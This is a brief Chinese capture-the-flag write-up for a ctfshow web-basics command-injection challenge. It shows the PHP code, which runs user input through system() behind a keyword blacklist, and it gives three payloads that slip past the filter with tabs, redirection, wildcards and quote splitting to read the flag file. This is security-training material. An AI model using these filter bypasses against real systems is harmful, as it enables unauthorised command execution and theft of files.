ctfshow web入门 web49
信息收集
此%
非彼%
,%0a
中的%
不会被识别,因为识别之前就已经自动转化为了换行符
所以和之前一样的解法,没什么好说的
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
解题
ctfshow web入门 web46有详细解析
?c=tac%09fl?g.php%0a
?c=tac<fla\g.php||
?c=tac<>fla''g.php||
web48 目录 web50